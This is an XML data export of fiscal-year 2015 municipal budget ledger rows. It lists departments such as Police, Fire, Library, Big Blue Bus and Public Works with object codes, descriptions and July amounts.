<row _id="14474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15860.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15860.0</total></row>
<row _id="14475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>135201.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135201.0</total></row>
<row _id="14476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216621.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216621.0</total></row>
<row _id="14477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>90992.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90992.0</total></row>
<row _id="14478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>185925.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185925.0</total></row>
<row _id="14479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1102978.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1102978.0</total></row>
<row _id="14480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12390.0</total></row>
<row _id="14481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>31305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31305.0</total></row>
<row _id="14482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1512.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1512.0</total></row>
<row _id="14483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300000.0</total></row>
<row _id="14484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4449.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4449.0</total></row>
<row _id="14485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4512.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4512.0</total></row>
<row _id="14486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561131.0</object><object_description>OPCC-CASE MGMT-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>217289.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>217289.0</total></row>
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<row _id="14498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562120.0</object><object_description>CONNECTIONS FOR CHILDREN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45446.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45446.0</total></row>
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<row _id="14505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3048890.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3048890.0</total></row>
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<row _id="14534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400420.0</object><object_description>SKATE PARK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-30200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30200.0</total></row>
<row _id="14535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407550.0</object><object_description>FIRE COMMERCIAL INSPECT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-578917.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-578917.0</total></row>
<row _id="14536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522961.0</object><object_description>FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>102500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102500.0</total></row>
<row _id="14537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522986.0</object><object_description>CNG FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="14538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511710.0</object><object_description>MEDICARE EMPLOYER CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566130.0</object><object_description>POLICE ADMIN-DONATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1076733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1076733.0</total></row>
<row _id="14541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>23689.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23689.0</total></row>
<row _id="14544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1729.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1729.0</total></row>
<row _id="14545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-85120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-85120.0</total></row>
<row _id="14546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>164.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>164.0</total></row>
<row _id="14547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52039.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52039.0</total></row>
<row _id="14548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404220.0</object><object_description>OTHER OPER REV-MISCELLANEOUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-44000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-44000.0</total></row>
<row _id="14549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404820.0</object><object_description>PROP A SALES TAX</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-12259652.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12259652.0</total></row>
<row _id="14550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407030.0</object><object_description>PROP C FOOTHILL MITIGATION</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-556830.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-556830.0</total></row>
<row _id="14551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>407320.0</object><object_description>MALL PARKING LEVY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-605918.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-605918.0</total></row>
<row _id="14552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401230.0</object><object_description>COMMUNITY GARDENS RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12000.0</total></row>
<row _id="14553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>568040.0</object><object_description>REIMBURSE FUND 13</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11031.0</total></row>
<row _id="14555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27300.0</total></row>
<row _id="14556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="14557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555090.0</object><object_description>SPECIAL INSPECTOR PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522840.0</object><object_description>FUEL AND OIL TAXES-SVC EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
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<row _id="14585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>308898.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>308898.0</total></row>
<row _id="14586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>763896.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>763896.0</total></row>
<row _id="14587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38590.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38590.0</total></row>
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<row _id="14589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2213.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2213.0</total></row>
<row _id="14590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
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<row _id="14592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16987.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16987.0</total></row>
<row _id="14593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>915.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>915.0</total></row>
<row _id="14594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2191.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2191.0</total></row>
